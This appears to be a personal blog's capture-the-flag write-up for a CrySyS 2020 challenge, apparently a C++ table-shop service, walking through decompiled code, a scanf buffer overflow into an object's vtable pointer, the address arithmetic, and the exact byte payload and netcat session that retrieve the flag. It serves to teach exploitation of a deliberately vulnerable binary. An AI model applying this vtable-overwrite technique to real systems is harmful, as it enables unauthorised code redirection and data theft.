Reverse engineering, Windows internals, x86 magic, low level programming, and everything else I feel like writing about.

CrySyS SecChallenge 2020: AEKI

There are usually tables in every classroom. Good students write their notes on papers. Bad students write their notes on tables.

Now you can buy a new table at AEKI.

This challenge had an environment accessible over raw TCP. You can emulate it yourself on a server using nc -l -e aeki -p <port>

Categories

Offensive, Reverse Engineering, Exploitation

Files

Solution

As a first step, let’s try netcat-ing in, to see what our program looks like when operating normally:

user@ubuntu:~$ nc 1.2.3.4 12345
Welcome to AEKI!
You have 999 dollars!
The following tables are available right now:
1) Kullaberg
2) Skogsta
3) Morbylanga
4) Hemlighet
5) Mjolnir
6) Exit
Your choice is:
1
Here is your Kullaberg table: 0x56599e78
Are you satisfied and ready to purchase and assemble? (yes/no)
no

You have 999 dollars!
The following tables are available right now:
1) Kullaberg
2) Skogsta
3) Morbylanga
4) Hemlighet
5) Mjolnir
6) Exit
Your choice is:
5
You do not have enough money for that! The price is 10000

You have 999 dollars!
The following tables are available right now:
1) Kullaberg
2) Skogsta
3) Morbylanga
4) Hemlighet
5) Mjolnir
6) Exit
Your choice is:
1
Here is your Kullaberg table: 0x56599e78
Are you satisfied and ready to purchase and assemble? (yes/no)
yes
Purchasing Kullaberg!
Reading the assembling instructions...
Kullaberg


^C
user@ubuntu:~$

So far so good. We see some interesting hexadecimal numbers and some unaccessible menu items. Time to load up the binary in IDA and look for clues. I started off with the main function, the decompiled pseudocode is as seen here:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax
  int v5; // esi
  int v6; // eax
  int result; // eax
  int v8; // eax
  int v9; // eax
  int v10; // esi
  int v11; // eax
  int v12; // eax
  int v13; // eax
  int v14; // esi
  int v15; // eax
  int v16; // eax
  int v17; // eax
  int v18; // esi
  int v19; // eax
  int v20; // eax
  int v21; // eax
  int v22; // esi
  int v23; // eax
  char mjolnir_yes[4]; // [esp+0h] [ebp-B0h]
  char mjolnir; // [esp+4h] [ebp-ACh]
  char hemlighet_yes[4]; // [esp+1Ch] [ebp-94h]
  char hemlighet; // [esp+20h] [ebp-90h]
  char morbylanga_yes[4]; // [esp+38h] [ebp-78h]
  char morbylanga; // [esp+3Ch] [ebp-74h]
  char skogsta_yes[4]; // [esp+54h] [ebp-5Ch]
  char skogsta; // [esp+58h] [ebp-58h]
  char kullaberg_yes[4]; // [esp+70h] [ebp-40h]
  char kullaberg; // [esp+74h] [ebp-3Ch]
  char choice; // [esp+8Fh] [ebp-21h]
  int money; // [esp+90h] [ebp-20h]
  char v36; // [esp+97h] [ebp-19h]
  int *v37; // [esp+A4h] [ebp-Ch]

  v37 = &argc;
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  money = 999;
  v36 = 0;
  puts("Welcome to AEKI!");
  while ( 2 )
  {
    if ( v36 )
      return 0;
    printf("You have %d dollars!\n", money);
    puts("The following tables are available right now:");
    puts("1) Kullaberg");
    puts("2) Skogsta");
    puts("3) Morbylanga");
    puts("4) Hemlighet");
    puts("5) Mjolnir");
    puts("6) Exit");
    puts("Your choice is:");
    choice = 0;
    __isoc99_scanf(" %c", &choice);
    switch ( choice )
    {
      case '1':
        Kullaberg::Kullaberg((Kullaberg *)&kullaberg);
        v3 = Table::getPrice((Table *)&kullaberg);
        if ( money < v3 )
        {
          v4 = Table::getPrice((Table *)&kullaberg);
          printf("You do not have enough money for that! The price is %d\n", v4);
          goto LABEL_24;
        }
        v5 = *(_DWORD *)&kullaberg;
        v6 = Table::getName((Table *)&kullaberg);
        printf("Here is your %s table: %p\n", v6, v5);
        puts("Are you satisfied and ready to purchase and assemble? (yes/no)");
        __isoc99_scanf("%3s", kullaberg_yes);
        if ( strcmp(kullaberg_yes, "yes") )
          goto LABEL_24;
        purchase_and_assemble((Table *)&kullaberg);
        return 0;
      case '2':
        Skogsta::Skogsta((Skogsta *)&skogsta);
        v8 = Table::getPrice((Table *)&skogsta);
        if ( money < v8 )
        {
          v9 = Table::getPrice((Table *)&skogsta);
          printf("You do not have enough money for that! The price is %d\n", v9);
          goto LABEL_24;
        }
        v10 = *(_DWORD *)&skogsta;
        v11 = Table::getName((Table *)&skogsta);
        printf("Here is your %s table: %p\n", v11, v10);
        puts("Are you satisfied and ready to purchase and assemble? (yes/no)");
        __isoc99_scanf("%32s", skogsta_yes);
        if ( strcmp(skogsta_yes, "yes") )
          goto LABEL_24;
        purchase_and_assemble((Table *)&skogsta);
        return 0;
      case '3':
        Morbylanga::Morbylanga((Morbylanga *)&morbylanga);
        v12 = Table::getPrice((Table *)&morbylanga);
        if ( money < v12 )
        {
          v13 = Table::getPrice((Table *)&morbylanga);
          printf("You do not have enough money for that! The price is %d\n", v13);
          goto LABEL_24;
        }
        v14 = *(_DWORD *)&morbylanga;
        v15 = Table::getName((Table *)&morbylanga);
        printf("Here is your %s table: %p\n", v15, v14);
        puts("Are you satisfied and ready to purchase and assemble? (yes/no)");
        __isoc99_scanf("%3s", morbylanga_yes);
        if ( strcmp(morbylanga_yes, "yes") )
          goto LABEL_24;
        purchase_and_assemble((Table *)&morbylanga);
        return 0;
      case '4':
        Hemlighet::Hemlighet((Hemlighet *)&hemlighet);
        v16 = Table::getPrice((Table *)&hemlighet);
        if ( money < v16 )
        {
          v17 = Table::getPrice((Table *)&hemlighet);
          printf("You do not have enough money for that! The price is %d\n", v17);
          goto LABEL_24;
        }
        v18 = *(_DWORD *)&hemlighet;
        v19 = Table::getName((Table *)&hemlighet);
        printf("Here is your %s table: %p\n", v19, v18);
        puts("Are you satisfied and ready purchase and assemble? (yes/no)");
        __isoc99_scanf("%3s", hemlighet_yes);
        if ( strcmp(hemlighet_yes, "yes") )
          goto LABEL_24;
        purchase_and_assemble((Table *)&hemlighet);
        return 0;
      case '5':
        Mjolnir::Mjolnir((Mjolnir *)&mjolnir);
        v20 = Table::getPrice((Table *)&mjolnir);
        if ( money < v20 )
        {
          v21 = Table::getPrice((Table *)&mjolnir);
          printf("You do not have enough money for that! The price is %d\n", v21);
LABEL_24:
          putchar('\n');
          continue;
        }
        v22 = *(_DWORD *)&mjolnir;
        v23 = Table::getName((Table *)&mjolnir);
        printf("Here is your %s table: %p\n", v23, v22);
        puts("Are you satisfied and ready purchase and assemble? (yes/no)");
        __isoc99_scanf("%3s", mjolnir_yes);
        if ( strcmp(mjolnir_yes, "yes") )
          goto LABEL_24;
        purchase_and_assemble((Table *)&mjolnir);
        result = 0;
        break;
    }
    return result;
  }
}

As you can see I already renamed some variables for readibility, but nothing more than that. This also explains the hexadecimal numbers we saw earlier: these are vtable addresses of the respective table class.

Let’s see what purchasing and assembling does:

int __cdecl purchase_and_assemble(Table *a1)
{
  int v1; // eax
  const char *v2; // eax

  v1 = (**(int (__cdecl ***)(Table *))a1)(a1);
  printf("Purchasing %s!\n", v1);
  puts("Reading the assembling instructions...");
  v2 = (const char *)(*(int (__cdecl **)(Table *))(*(_DWORD *)a1 + 8))(a1);
  return puts(v2);
}

int Kullaberg::getInstructions()
{
  int v0; // ST1C_4
  FILE *stream; // ST18_4

  v0 = operator new[](0xFFu);
  stream = fopen("Kullaberg", "r");
  __isoc99_fscanf((int)stream, (int)"%s", v0);
  fclose(stream);
  return v0;
}

getInstructions() is exactly the same but with different filenames for the rest of the table classes. What might the Hemlighet and Mjolnir files contain, since we don’t have money for these two?

You could also notice how there is a “typo” at Skogsta: __isoc99_scanf("%32s", skogsta_yes); (this took me like 15 minutes by the way). However, our target variable, skogsta_yes is only 4 characters long, so we can use this to overwrite data following our variable. Okay, but what data is that?

  char skogsta_yes[4]; // [esp+54h] [ebp-5Ch]
  char skogsta; // [esp+58h] [ebp-58h]

Our newly made Skogsta’s vtable! If we could overwrite it with one of the forbidden goods’ vtables, their getInstructions() would be called, returning their files’ contents instead. So how do we do that? We need the memory address of the target table, but we only get ours. But fear not, different parts of a binary don’t usually move relative to other parts of the binary, so we can calculate the target table’s address from our table’s which is printed.

Let’s look at the constructors to find out the vtable addresses (some stuff is omitted in this snippet):

Skogsta::Skogsta() { *(_DWORD *)this = off_3E64; }
Hemlighet::Hemlighet() { *(_DWORD *)this = off_3E3C; }

Next we just need to input back yes\0 followed by printed number - 3E64 + 3E3C in little endian. I quickly made a program for easily inputting hex into netcat:

int main()
{
  while (true)
  {
    int x;
    scanf("%x", &x);
    const auto b = (uint8_t)x;
    fwrite(&b, 1, 1, stdout);
    fflush(stdout);
  }
}

Let’s try this out:

user@ubuntu:~$ ./unhex | nc 1.2.3.4 12345
Welcome to AEKI!
You have 999 dollars!
The following tables are available right now:
1) Kullaberg
2) Skogsta
3) Morbylanga
4) Hemlighet
5) Mjolnir
6) Exit
Your choice is:
32
Here is your Skogsta table: 0x5662de64
Are you satisfied and ready to purchase and assemble? (yes/no)
79 65 73 0 3c de 62 56 a
Purchasing Skogsta!
Reading the assembling instructions...
cd20{R34lly_n1c3_l4ngu4g3_5p3c1f1c_pwn1ng}